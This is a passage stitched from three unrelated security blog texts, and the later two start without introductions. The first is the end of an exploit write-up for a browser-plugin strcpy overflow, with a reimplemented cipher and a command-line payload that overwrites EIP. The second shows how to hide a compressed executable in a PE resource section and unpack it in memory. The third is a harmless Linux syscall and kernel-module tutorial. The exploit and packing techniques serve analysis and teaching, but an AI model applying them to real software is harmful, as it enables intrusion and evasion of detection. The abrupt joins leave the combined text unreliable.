   -----------------------------------------------
   |              end-of-attributes-tag          |   1 byte   - required
   -----------------------------------------------
   |                     data                    |   q bytes  - optional
   -----------------------------------------------

My replies got progressively further into the validation, and then every iteration died inside a strlen on a NULL argument, which points at another attribute or data field the client expects and I was not sending. I stopped there, because by that point I had found the branch that makes all of this unnecessary.

Overflowing the ciphertext instead of the cleartext

While hunting for the right realm length, an input too short to reach the saved return address directly still managed to corrupt it, through a second buffer.

A function downstream of the strcpy runs realm through an internal block cipher: eight-byte blocks, a large static key in .data, and the result written into a separate stack buffer with sprintf("%02hhX", b), so the output is twice the length of the input. Short enough to miss the first overflow, long enough to overrun that second buffer, and EIP is controlled again, but through the hex text rather than through our own bytes.

The cipher is small enough to lift into C and run offline once the key is recovered from memory:

unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int idx;
    unsigned int s1, s2, s3, s4;

    idx = ((tmp_bloc >> 24) & 0xff) * 4 + 0x048;
    s1  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
    s2  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >>  8) & 0xff) * 4 + 0x848;
    s3  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx =  (tmp_bloc        & 0xff) * 4 + 0xc48;
    s4  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    return (((s2 + s1) ^ s3) + s4);
}

/* get_new_key derives (key_part1, key_part2) from the previous key
   through 18 rounds of shift_on_key and xor with the static key blocs. */

int main(int argc, char **argv) {
    char *entry = argv[1];
    int i = 0;
    get_new_key(key, the_key);
    while (entry[i]) {
        for (int b = 0; b < 8; b++) {
            unsigned int kpart = (b < 4) ? key_part1 : key_part2;
            unsigned int sh    = (3 - (b & 3)) * 8;
            if (entry[i]) newbuf[i] = entry[i] ^ ((kpart >> sh) & 0xff);
            i++;
        }
        /* feed the swapped output bloc back as the next old key, re-derive */
        get_new_key(key, the_key);
    }
    /* hex-encode newbuf into realbuf with sprintf("%02hhX", ...) */
}

Searching for an input whose ciphertext ends in the bytes we want gives one ending in \xAA\xAA, which hex-encodes to AAAA, so EIP becomes 0x41414141:

$ ./a.out $(python -c 'print "B"*132 + "\x43\x90"')
... 3CCAF8EFDA95CFDA49177C2EAAAA

EIP control through this path is real, and the path is still dead, for a reason the C reimplementation makes obvious. sprintf("%02hhX", b) emits two ASCII hex digits per byte, so every byte that reaches EIP is one of 0x30 to 0x39 or 0x41 to 0x46. No address in any loaded module, and no address on the stack, is spelled entirely in that alphabet. There is no search to run and no cleverness to apply: the encoding removes the addresses we would need before we get to choose one.

Knowing that is worth the detour. A path abandoned because it did not seem to work leaves you wondering; a path abandoned because its output alphabet cannot contain the answer is closed.

Conclusion

The buffer overflow in this CVE is the least interesting part of it. One strcpy with an unmeasured source, on a platform with no DEP and no ASLR, on a parameter a web page hands over directly. Everything that made this exercise worth several days sat in front of the bug rather than in it.

What actually decided the outcome:

• Error paths are where the gaps are. IppCreateServerRef returning NULL reports as success, and that single mishandled status is a complete bypass of the server handshake. It is visible in the control flow graph, with no debugger and no server, to anyone willing to read the graph as conditions rather than as a protocol.
• Length caps in different binaries can be played against each other. The 0x200 ceiling in ienipp.ocx is what leaves room to overshoot the 0x100 prefix check inside nipplib.dll and fail it on purpose.
• Understand only what stands between you and the goal. The iPrint-driver-profile-hiddenPA string has a reason to exist that I never learned, and it made no difference to the result.
• A failed path is worth reproducing far enough to know why it failed. Rebuilding the realm cipher in C turned an inconclusive dead end into a structural one.

This post walks through that technique, resource dropping, from the analyst’s seat. To recover a payload that a packer stashed in the .rsrc section, you have to understand exactly how it got there, so we reconstruct the full chain: we hide a small binary inside a carrier, then write the unpacker that finds it, extracts it, and decompresses it back into memory. The recovery side is the point; the packing side is shown so you can recognise and reverse it.

We work with 64-bit PE (PE32+) binaries throughout, and we compile everything on Linux with mingw. The principle is identical for 32-bit (PE32). We will not re-explain what a packer is or detail the PE format here; the Wikipedia page on PE is excellent.

Prerequisites

To follow along and reproduce the work:

• A relatively recent Linux system.
• The usual build tools (gcc, make).
• The mingw cross-compiler and windres (the gcc-mingw-w64-x86-64 package on Ubuntu 20.04).
• The zlib1g-dev package.
• readpe (pev) to inspect PE sections.
• A text editor.

Unlike kernel work, nothing here puts your system at risk: it all compiles and runs as ordinary user-land code.

Vocabulary

A few terms are used precisely throughout:

• Binary: a compiled object, such as an executable or a library.
• Payload: a piece of code or data necessary and sufficient to carry out some action inside a process, often malicious.
• Packing / unpacking: respectively, encrypting, compressing, or hiding a binary or payload, and the reverse, decrypting, decompressing, or revealing it.
• Packer / unpacker: the software (or the act) that performs packing and unpacking.

How the payload is hidden

Some packers and malware families hide secret code inside an executable that looks harmless at a glance. One way to do this is to store a payload, or an entire second executable, directly in the resource section (.rsrc) of the carrier binary, usually compressed and often encrypted. When the carrier runs, that hidden binary is unpacked in memory and used in the rest of the unpacking chain.

To recover such a payload we first need to understand how it was placed there. So we build the packing side ourselves: hide a small binary inside a carrier’s resources, then retrieve and decompress it in memory. This is one method among many; real samples vary.

The payload to hide

The hidden binary is deliberately trivial. What it does is irrelevant; what matters is how it is concealed and recovered. So it is just a program that prints Hello!.

#include <stdio.h>

int main(void)
{
    printf("Hello !\n");

    return 0;
}

We compile it as a PE32+ executable with mingw:

$ x86_64-w64-mingw32-gcc hidden.c -o hidden.exe
$ file hidden.exe
hidden.exe: PE32+ executable (console) x86-64, for MS Windows

Compressing the payload

Before embedding it, the packer compresses the binary. Here we use zlib’s compress2() at maximum level. The program below reads a file, compresses it, and writes the result to compressed_binary.

#include <zlib.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>

int main(int ac, char **av)
{
    if (ac != 3) {
        printf("Usage: %s <src_file> <size_of_file>\n", av[0]);
        return EXIT_FAILURE;
    }

    /* input */
    char *clear_filename = av[1];
    int src_size = atoi(av[2]);
    char *clear = (char *)malloc(sizeof(char) * src_size);

    /* output */
    char *compressed = (char *)malloc(sizeof(char) * src_size);
    uLongf dst_size;

    /* reading and compression */
    int fd_rd = open(clear_filename, O_RDONLY);
    read(fd_rd, clear, src_size);
    close(fd_rd);
    compress2((Bytef *)compressed, &dst_size, (Bytef *)clear, (uLong)src_size, 9);

    /* writing */
    int fd_wr = open("compressed_binary", O_WRONLY | O_CREAT, 0444);
    write(fd_wr, compressed, dst_size);
    close(fd_wr);

    return EXIT_SUCCESS;
}

Reading it through: the program takes the file name and its size in bytes as arguments. It allocates a clear buffer for the source data and a compressed buffer for the output, with dst_size receiving the final compressed length. It reads the source with open() and read(), then calls zlib’s compress2(), whose prototype is:

int compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level);

• dest: where the compressed data is written.
• destLen: where the compressed size in bytes is written.
• source: where the data to compress is read from.
• level: compression level, 9 being the maximum.

Finally it writes the compressed bytes to compressed_binary. Compile against zlib (-lz) and run it:

gcc compress.c -o compress -lz

ls -l hidden.exe
# -rwxrwxr-x 1 ech0 ech0 316853 avril 13 23:55 hidden.exe

./compress hidden.exe 316853

file compressed_binary
# compressed_binary: zlib compressed data

The payload compressed cleanly, shrinking from 316853 to 89766 bytes. Size reduction is a side effect; the real goal is to stash the binary in the resources.

Embedding it as a resource

With the compressed payload ready, we describe it to windres with a resource (.rc) file:

IDR_RCDATA0 RCDATA compressed_binary

The syntax is straightforward:

• IDR_RCDATA0: the resource name.
• RCDATA: the resource type (raw data).
• compressed_binary: the file to include as a resource.

Then windres turns the .rc file into a COFF object (a Windows object file) we can link in:

x86_64-w64-mingw32-windres compressed_binary.rc -O coff -o compressed_binary.rc.o

At this point the working directory looks like this:

.
├── compress
├── compress.c
├── compressed_binary
├── compressed_binary.rc
├── compressed_binary.rc.o
├── hidden.c
└── hidden.exe

0 directories, 7 files

The resource is ready. Everything from here is the recovery side: the code that finds this embedded resource, pulls it out, and decompresses it in memory.

Recovering the payload

The unpacker is itself a PE32+ binary, since this is the code that runs on the target and recovers the dropped payload from its own resources.

Finding and extracting the resource

Recovery uses three Windows API calls: FindResourceA, LoadResource, and LockResource. The Microsoft documentation covers them in full, so here is just the code that pulls a resource out of the binary’s own .rsrc section:

#include <windows.h>

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    hRes = FindResourceA(NULL, "IDR_RCDATA0", RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);
}

It compiles:

x86_64-w64-mingw32-gcc depacker.c -o depacker.exe

But we have not yet linked our resource into this binary, so the lookup for IDR_RCDATA0 can only fail. In fact, there is no .rsrc section in the binary at all:

$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls

We fix that by linking the resource object file into the build:

$ x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe
$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
        Name:                            .rsrc

Now .rsrc is present, carrying our compressed hidden.exe. The unpacker can extract the resource into memory. What remains is to decompress it.

Decompressing in memory

To unpack the payload we need four things: the compressed data, the size of the compressed data, the size of the decompressed data (to allocate the output buffer), and a decompression function. We have the data and the function. The two sizes have to be supplied to the program; here we simply hard-code them.

We also need zlib for Windows. There is no need for a Windows machine to build it: we cross-compile it with mingw on Linux.

wget http://zlib.net/zlib-1.2.12.tar.gz
tar xf zlib-1.2.12.tar.gz
rm zlib-1.2.12.tar.gz
cd zlib-1.2.12

# Affect PREFIX = x86_64-w64-mingw32-
vim win32/Makefile.gcc

# Cross-Compilation of zlib via mingw
BINARY_PATH=/usr/x86_64-w64-mingw32/bin INCLUDE_PATH=/usr/x86_64-w64-mingw32/include LIBRARY_PATH=/usr/x86_64-w64-mingw32/lib make -f win32/Makefile.gcc

With zlib in hand, the final unpacker retrieves the resource and decompresses it in place:

#include <windows.h>
#include "zlib.h"

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    PUCHAR uncompressed;
    ULONG src_size = 89766; // Hard-coded size of compressed binary
    ULONG dst_size = 316853; // Hard-coded size of decompressed binary

    hRes = FindResourceA(NULL, "IDR_RCDATA0", RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);

    uncompressed = (PUCHAR)malloc(sizeof(char) * (dst_size + 1));
    uncompress(uncompressed, &dst_size, Data, src_size);
}

The uncompress() function mirrors the compress2() we used to pack the payload in the first place. We compile, pointing at our cross-compiled zlib with -L, -lz, and -I:

x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe -L./zlib-1.2.12/ -lz -I zlib-1.2.12/

The unpacker is complete: it locates the resource, extracts it, and decompresses the original hidden.exe back into memory. You can run it in a Windows environment to confirm.

Where the trail leads next

As written, the unpacker stops at “in memory”: it recovers the payload but never runs it. In a real sample that final step, getting the decompressed binary to execute, is the whole purpose, and it is called dropping (here, dropping from the resources), performed by a dropper. There are several ways to reach it: writing the payload to disk and launching it, mapping and running it directly in memory, DLL injection, process hollowing, and so on. Each of those is its own analysis problem.

Resource storage is also just one source among many. The same dropper pattern applies whether the hidden binary sits in the resources as it does here, in a separate section, split across several sections, or fetched over the network at runtime. The carrier changes; the shape of the technique does not. Recognise that shape, know where to look, and the payload stops hiding.

So how does a process ever get privileged work done? It asks. Every time you open a file, send a packet, or fork a process, your code crosses that boundary in a controlled way, runs some kernel code on your behalf, and comes back with a result. The interesting question for anyone who works close to the kernel is the inverse one: how do you extend the kernel so it offers new privileged entry points of your own?

There are two answers, and they sit at opposite ends of the same axis.

• A system call is a static entry point. You write a function in ring 0, bake it into the kernel image, recompile the whole kernel, and boot into it. From then on the call is part of the operating system, addressable by a fixed number.
• A kernel module is a dynamic entry point. You write ring 0 code, compile it on its own, and load it into a running kernel at runtime. No recompile, no reboot, and you can unload it just as easily.

In this post we build both, with real code, and we watch them converge. By the end, our module will hand itself its own user/kernel boundary in /dev and answer reads and writes from user-land, which is exactly what a system call does natively. Two mechanisms, one boundary crossing.

Path 1: the system call

A system call (like open, write, or read) is nothing more than a function, or a series of functions, running in ring 0. We call it a system call specifically because it can be invoked from ring 3. So our plan is straightforward: write a function in the kernel, register it in the syscall table, recompile, boot, and call it from user-land.

Our example will take a process ID and return a structure full of information about that process: its name, state, stack pointer, birth time, children, parent, root, and working directory. The body of the function is not the point. The point is the wiring that turns an ordinary C function into a system call.

Preparing the environment

To follow along you need a recent Linux kernel, the usual build tools (gcc, make), and a text editor. Because we are going to recompile the kernel and boot into it, do this on a virtual machine.

For this article we used an Ubuntu Server 20.04 VM with bridged networking, 4 GB of RAM, and SSH access. Any distribution and hypervisor will do, with minor differences from what is shown here.

Linux distributions ship kernel headers and object files but not the kernel source. Install it, unpack it, and step into the source tree. The version below is 5.4.0, which you can confirm with uname -r.

sudo apt install linux-source
cd /usr/src/linux-source-5.4.0
sudo bunzip2 linux-source-5.4.0.tar.bz2
sudo tar xf linux-source-5.4.0.tar
cd linux-source-5.4.0/

We only need a configuration to build against. Generate a minimal default one. A minimal config keeps both the build time and the resulting image small, which is all we want for this exercise.

sudo make defconfig

You will also need flex, bison, libelf-dev, and libssl-dev to compile the kernel later. Install them the usual way through APT.

The structure to return

We start with the header, infopid.h. It declares the structure we will fill in the kernel and copy back to user-land. The comments document each field.

#ifndef INFOPID_H
#define INFOPID_H

#include <linux/sched.h>
#include <linux/limits.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs_struct.h>
#include <linux/slab.h>

/*
 * pid: pid of process
 * name: name of the process
 * state: unrunnable, runnable, stopped
 * stack: pointer to the beginning of process's stack
 * age: birth time in nanoseconds
 * child: array of all child processes pid
 * ppid: parent process id
 * root: root path of process
 * pwd: working directory of process
 */

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

#endif

Writing the call

The function itself lives in infopid.c. Two details matter more than the rest. First, we define it with the SYSCALL_DEFINE2 macro, where the 2 is the number of parameters. The kernel provides one of these macros per arity, and they take arguments as alternating type/name pairs separated by commas, which is why the signature looks unusual. Second, we never write to the user pointer directly: we build the structure in kernel memory and hand it across the boundary with copy_to_user, which is the only safe way for ring 0 to write into a ring 3 buffer.

#include "infopid.h"
#include <linux/syscalls.h>

SYSCALL_DEFINE2(infopid, struct info_pid *, ret_pid, int, pid) {
    struct task_struct *cur, *child;
    struct info_pid *new;
    struct path root, pwd;
    struct pid *spid;
    char *tmp, buffer[PATH_MAX] = {0};
    int i = 0;

    if (!(spid = find_get_pid(pid)))
    {
        return -ESRCH;
    }

    cur = pid_task(spid, PIDTYPE_PID);

    if (!cur) {
        return -ESRCH;
    }

    new = kmalloc(sizeof(struct info_pid), GFP_KERNEL);

    if (!new)
        return -ENOMEM;

    memset(new->child, 0, 256 * sizeof(pid_t));
    get_fs_root(cur->fs, &root);
    get_fs_pwd(cur->fs, &pwd);    
    get_task_comm(new->name, cur);
    new->pid = task_pid_nr(cur);
    new->state = cur->state;
    new->stack = cur->stack;
    new->age = cur->start_time;

    list_for_each_entry(child, &cur->children, sibling) {
        if (i > 255)
            goto out;
        new->child[i++] = child->pid;
    }

out:
    new->ppid = task_pid_nr(cur->parent);
    spin_lock(&root.dentry->d_lock);
    tmp = dentry_path_raw(root.dentry, buffer, PATH_MAX);
    strcpy(new->root, tmp);
    spin_unlock(&root.dentry->d_lock);

    spin_lock(&pwd.dentry->d_lock);
    tmp = dentry_path_raw(pwd.dentry, buffer, PATH_MAX);
    strcpy(new->pwd, tmp);
    spin_unlock(&pwd.dentry->d_lock);

    if (copy_to_user(ret_pid, new, sizeof(struct info_pid))) {
        kfree(new);
        return -ESRCH;
    }

    kfree(new);

    return 0;
}

We look the process up by PID, allocate our structure with kmalloc, fill it from the task’s task_struct, walk the children list, resolve the root and working-directory paths under the appropriate locks, and copy the whole thing back to the caller. On any failure we return a negative errno, the convention every system call follows.

Registering it with the kernel

A function in a .c file is invisible to the kernel until three files in the source tree know about it. This is the static wiring that a module never needs.

First, tell the top-level kernel Makefile to compile our directory by appending it to core-y:

core-y += kernel/ certs/ mm/ fs/ ipc/ security/ crypto/ block/ infopid/

Then declare the prototype in include/linux/syscalls.h, alongside every other syscall prototype. Use your own absolute path to the header, not the one below:

/* Other declarations */
#include "/usr/src/linux-source-5.4.0/linux-source-5.4.0/infopid/infopid.h"
asmlinkage long sys_infopid(struct info_pid *, int);

Finally, give the call a number by adding it to the architecture’s syscall table, arch/x86/entry/syscalls/syscall_64.tbl. Place it last, with the next free index, following the existing nomenclature:

# Index  Arch  Name     Entrypoint
  335    64    infopid  __x64_sys_infopid

That number, 335, is the contract. It is how user-land will name the call, and it is frozen the moment we ship the kernel. Hold on to that thought, because it is the sharpest difference between this path and the next one.

Our directory holds three files at this point:

$ tree infopid/
infopid/
├── Makefile
├── infopid.c
└── infopid.h

0 directories, 3 files

Compiling and booting

With the call written and registered, build the entire kernel from the source root. Use -j <cores> to parallelise; this takes a while.

sudo make
sudo make modules_install
sudo make install

After installation, make sure you will actually boot the new kernel. In our case the new build was version 5.4.174, which GRUB ranks above the stock 5.4.0-105 and boots automatically. If yours does not, expose the GRUB menu by editing /etc/default/grub so you can pick the entry, then run sudo update-grub.

#GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=4

Reboot, and confirm you are on the new kernel:

$ uname -r
5.4.174

Calling it from user-land

There is no libc wrapper for a call we just invented, so we reach it through the generic syscall() function, passing our number 335 and the arguments. The program below fills our structure for a given PID (its own by default) and prints everything, walking up the parent chain recursively.

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <inttypes.h>
#include <stdlib.h>
#include <string.h>

#define TASK_COMM_LEN 16
#define PATH_MAX 4096

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

void print_parents(pid_t pid)
{
    struct info_pid new;
    static int index = 0;
    printf("\tParent %d : %d\n", index++, pid);

    if (!pid)
        return ;
    int ret = syscall(335, &new, pid);
    if (ret) {
        printf("syscall failed...\n");
        perror("");
        exit(EXIT_FAILURE);
    }
    print_parents(new.ppid);
}

int main(int ac, char **av)
{
    pid_t pid;
    struct info_pid new;
    memset(&new, 0, sizeof(new));
    new.age = 0;

    if (ac == 1)
        pid = getpid();
    else
        pid = atoi(av[1]);

    int ret = syscall(335, &new, pid);
    if (ret) {
        printf("syscall failed...\n");
        perror("");
        return EXIT_FAILURE;
    }

    printf("Printing struct info_pid...\n");

    printf("PID       : %d\n", new.pid);
    printf("Name      : %s\n", new.name);
    printf("State     : %ld\n", new.state);
    printf("Stack     : %p\n", new.stack);
    printf("Birthtime : %ld\n", new.age);

    for (int j = 0; j < 255; j++)
    {
        if (!new.child[j])
            break ;
        printf("\tChild %d  : %d\n", j, new.child[j]);
    }

    print_parents(new.ppid);

    printf("Root      : %s\n", new.root);
    printf("PWD       : %s\n", new.pwd);

    return EXIT_SUCCESS;
}

Compile and run it, once on itself and once on PID 1:

$ gcc test_infopid.c -o test_infopid
$ ./test_infopid # With its own PID by default

Printing struct info_pid...
PID       : 1354
Name      : test_infopid
State     : 0
Stack     : 0xffffb76ac0750000
Birthtime : 1203877852032
    Parent 0 : 776
    Parent 1 : 775
    Parent 2 : 656
    Parent 3 : 551
    Parent 4 : 1
    Parent 5 : 0
Root      : /
PWD       : /home/ech0

$ ./test_infopid 1 # With PID 1

Printing struct info_pid...
PID       : 1
Name      : systemd
State     : 1
Stack     : 0xffffb76ac0010000
Birthtime : 15000000
    Child 0  : 290
    Child 1  : 317
    Child 2  : 500
    Child 3  : 509
    Child 4  : 511
    ...
    Child 18  : 659
    Parent 0 : 0
Root      : /
PWD       : /

The call works. We extended the kernel with a new privileged entry point and reached it from ring 3 by number. The price was steep, though: a full kernel rebuild, a reboot, and a call number that is now fixed forever. That cost is the whole reason the second path exists.

Path 2: the kernel module

A module (a driver, in Windows terms) is a piece of ring 0 code that can be loaded into and unloaded from a running kernel on demand. Your system is already full of them. List them with lsmod:

$ lsmod
Module                  Size  Used by
rfcomm                 81920  4
cdc_mbim               20480  0
cdc_wdm                24576  1 cdc_mbim
cdc_ncm                45056  1 cdc_mbim
cdc_ether              20480  1 cdc_ncm
...

Touchpad, camera, microphone, KVM: all modules. Some of them also expose communication interfaces, often character devices under /dev, the way the KVM module exposes /dev/kvm. We are going to do the same: build a module, load it, and eventually talk to it through /dev.

Everything about this path contrasts with the previous one. No kernel recompile, no new boot, no editing of the source tree. Your default environment is already ready: if you can compile C, you can build a module.

A minimal module

A single file is enough to start:

$ tree my_module/
my_module/
└── my_module.c

0 directories, 1 file

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

static int __init hello_init(void) {
    printk(KERN_INFO "Hello World !\n");
    return 0;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
}

module_init(hello_init);
module_exit(hello_cleanup);

Reading top to bottom: we include the kernel headers we need; the MODULE_* macros attach metadata (license, author, description); two functions tagged __init and __exit run when the module is loaded and unloaded; and module_init / module_exit register them with the kernel. For now both functions just print to the kernel log with printk.

Notice there is no syscall table, no core-y, no prototype to declare. The module announces its own entry points to the kernel through module_init and module_exit, at load time, rather than being wired into the kernel image ahead of time.

Compiling and loading

Modules build against the running kernel’s headers, so the Makefile delegates to the kernel build system rather than calling gcc directly:

FILE := "my_module"
obj-m += my_module.o

all:
    echo "Compiling $(FILE)..."
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:  
    echo "Cleaning modules..."
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    rm -rf .$(FILE).ko.cmd .$(FILE).mod.o.cmd .$(FILE).o.cmd .cache.mk .tmp_versions $(FILE).ko $(FILE).o $(FILE).mod.c $(FILE).mod.o modules.order Module.symvers 2>&-

Build it:

make

The compilation drops several files in the directory. The one that matters is my_module.ko, the kernel object we load with insmod:

sudo insmod my_module.ko

dmesg shows the string our init function printed:

[309528.612844] Hello World !

Unload it with rmmod and watch the cleanup function fire:

$ sudo rmmod my_module
[309551.667600] Cleaning up module.

That is the entire load/unload lifecycle, and it took no reboot and no kernel rebuild. We could stop here. But a module that only writes to the log is not talking to user-land yet, and that is where this path catches up with the first one.

Closing the loop: a misc device

Our system call could be reached from user-land because the kernel exposed it through the syscall table. A module gets no such entry in the table. So we give it its own front door: a misc device, a simple character device that appears under /dev and routes reads and writes to functions we define. In other words, the module is about to build the same kind of user/kernel boundary that a syscall enjoys natively, only this time we build it by hand.

To keep the mechanism in focus, the behaviour stays trivial: a write stores exactly ten bytes in a static buffer, and a read returns them. It looks pointless, and it is exactly enough to expose every subtlety that matters.

Registering the device

We declare the device structure as a static global:

static struct miscdevice my_dev;

In hello_init we fill a few fields and register it. A dynamic minor number lets the kernel assign one for us:

my_dev.minor = MISC_DYNAMIC_MINOR; // a dynamic minor number is requested
my_dev.name = "my_module_misc"; // name of the misc device
my_dev.fops = &my_fops; // operations structure
ret = misc_register(&my_dev); // registering the misc device

The fops field points at a file_operations structure, which is the heart of the interface: it tells the kernel which function to call for each operation on the device. We wire up read and write:

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

And we deregister the device when the module unloads, in hello_cleanup:

misc_deregister(&my_dev);

This needs three more headers (miscdevice.h, uaccess.h, fs.h). The skeleton now looks like this, still missing the two operation functions:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/fs.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

static struct miscdevice my_dev;

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO "Hello World !\n");

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = "my_module_misc";
    my_dev.fops = &my_fops;
    ret = misc_register(&my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
    misc_deregister(&my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);

The write operation

static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO "I have successfully written %s in buffer.", buf);

    return LEN;
}

The prototype is fixed by the kernel: f is the file descriptor for the device, s is the user-land pointer to the data the caller wrote, n is how many bytes they offered, and o is the current offset into the file. We reject null pointers, insist on exactly LEN bytes, and then pull the data across the boundary with copy_from_user, the mirror image of the copy_to_user we used in the syscall. It copies LEN bytes from the user pointer s into our kernel buffer buf and returns zero on success.

The read operation

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o >= LEN)
        return 0;
    if (n > LEN)
        n = LEN;
    if (copy_to_user(s, &buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

The checks mirror the write path, with one addition that carries the whole design: the offset *o. When the reader has consumed everything, we must return 0 to signal end of data, and we decide that by comparing the offset against LEN. We also clamp n so a caller can never read past what we stored. Then we copy from buf[*o] (not from the start), advance the offset by the number of bytes sent, and return that count.

Why bother with the offset at all, rather than copying the whole string in one shot? Because cat is not the only reader. Run cat on the device and it requests a large page, far more than our ten bytes, so a single copy would satisfy it. But a program can issue read() directly, asking for two bytes at a time, and a real buffer could be larger than one page. If a caller asks for fewer bytes than we hold, the offset is what lets us resume from where the last read stopped. Chain enough read() calls and the caller recovers the entire buffer, no matter how small each request is.

Testing it

The final module, with LEN and the static buffer defined:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/fs.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sigreturn Labs");
MODULE_DESCRIPTION("Hello World module");

#define LEN 10

static struct miscdevice my_dev;
static char buf[LEN];

static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO "I have successfully written %s in buffer.", buf);

    return LEN;
}

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o >= LEN)
        return 0;
    if (n > LEN)
        n = LEN;
    if (copy_to_user(s, &buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO "Hello World !\n");

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = "my_module_misc";
    my_dev.fops = &my_fops;
    ret = misc_register(&my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO "Cleaning up module.\n");
    misc_deregister(&my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);

Compile, load, grant write access to the device, and exercise it with ordinary shell tools:

make # compilation

sudo insmod my_module.ko # loading the module

sudo chmod o+w /dev/my_module_misc # writing rights

ls -l /dev/my_module_misc # verification

sudo echo -n "1234567890" > /dev/my_module_misc # writing 10 bytes in our buffer

dmesg # verification : [316644.720207] I have successfully written 1234567890 in buffer.

sudo cat /dev/my_module_misc # reading the buffer : 1234567890

echo writes ten bytes and cat reads them back. Now the part that justified the offset: a program that reads two bytes at a time.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main(void)
{
    char buf[10];
    int fd = open("/dev/my_module_misc", O_RDONLY);
    while (read(fd, buf, 2)) {
        buf[2] = 0;
        printf("%s\n", buf);
    }
}

$ gcc test.c -o test
$ sudo ./test
12
34
56
78
90

Five chained read() calls, two bytes each, and the whole buffer comes back in order. The offset did its job.

Two mechanisms, one boundary

We reached ring 0 from ring 3 twice, by two routes that could hardly be more different in how they get there, yet end at the same place: user-land code running our privileged code and getting a result back across the boundary.

The last two rows are the point. The syscall got its /dev-free front door for free, handed to it by the syscall table. The module had to build one, and once it did, the user/kernel transfer looked identical: the same copy_to_user and copy_from_user, the same careful byte accounting, the same negative-errno discipline. A misc device is a module reconstructing, by hand, the boundary crossing a system call is given.

That symmetry is also why both mechanisms are worth understanding for anyone working on the offensive or defensive side of a Linux system. The syscall table is a fixed, well-known target. Loadable modules are the canonical foothold for ring 0 persistence, and the copy_to_user / copy_from_user boundary is exactly where kernel code mishandles untrusted user input. Build both once, deliberately, and that attack surface stops being abstract.